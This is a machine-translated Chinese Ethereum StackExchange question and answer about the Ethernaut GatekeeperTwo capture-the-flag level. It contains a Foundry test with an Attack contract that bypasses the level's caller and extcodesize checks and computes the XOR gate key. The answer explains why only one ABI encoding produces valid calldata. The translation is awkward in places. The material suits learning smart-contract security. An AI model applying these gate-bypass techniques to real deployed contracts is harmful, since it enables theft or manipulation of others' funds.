我在扮演伊瑟诺守门二号:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "forge-std/Test.sol";
contract GatekeeperTwo is Test {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin, "err1");
_;
}
modifier gateTwo() {
uint x;
assembly {
x := extcodesize(caller())
}
require(x == 0, "err2");
_;
}
modifier gateThree(bytes8 _gateKey) {
emit log_named_uint("part1", uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))));
require(
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
uint64(_gateKey) ==
uint64(0) - 1, "err3"
);
_;
}
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
}
contract Attack is Test {
constructor() public {
GatekeeperTwo gk = new GatekeeperTwo();
address g = address(gk);
bytes4 sig = bytes4(keccak256("enter(bytes8)"));
log_named_bytes("first method", abi.encode(sig, key()));
log_named_bytes("second method", abi.encodePacked(sig, key()));
log_named_bytes("third method", abi.encodeWithSignature("enter(bytes8)", key()));
(bool success, ) = g.call(abi.encodePacked(sig, key()));
require(success);
}
function key() private returns (bytes8) {
uint64 val = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^
(type(uint64).max);
return bytes8(val);
}
}
contract ContractTest is Test {
function setUp() public {}
function testExample() public {
new Attack();
}
}在我的测试代码中,这三行
log_named_bytes("first method", abi.encode(sig, key()));
log_named_bytes("second method", abi.encodePacked(sig, key()));
log_named_bytes("third method", abi.encodeWithSignature("enter(bytes8)", key()));产生不同的输出:
Logs:
first method: 0x3370204e00000000000000000000000000000000000000000000000000000000f719f96375b9c994000000000000000000000000000000000000000000000000
second method: 0x3370204ef719f96375b9c994
third method: 0x3370204ef719f96375b9c994000000000000000000000000000000000000000000000000而只有第三个生成正确的调用数据,并打破了水平。为什么其他两个人不能工作?
发布于 2022-07-23 10:21:12
契约函数调用需要一个bytes4函数选择器以及abi编码的参数(每个填充为32个字节)。
abi.encode(sig, key());pads,sig (bytes4)和key() (bytes8)都是32字节。因为sig被视为bytes32,因此会产生不正确的编码。
abi.encodePacked(sig, key());将sig (bytes4)和key() (bytes8)紧密地打包,而不需要任何额外的填充。因为key()格式不正确(bytes32),所以这是不正确的编码。
abi.encodeWithSelector(sig, key());返回正确的编码,bytes4 sig,以及32字节的填充值key()。
以下内容相当于:
abi.encodeWithSelector(sig, key());
abi.encodeWithSignature("enter(bytes8)", key());
abi.encodePacked(sig, abi.encode(key()));https://ethereum.stackexchange.com/questions/132270
复制相似问题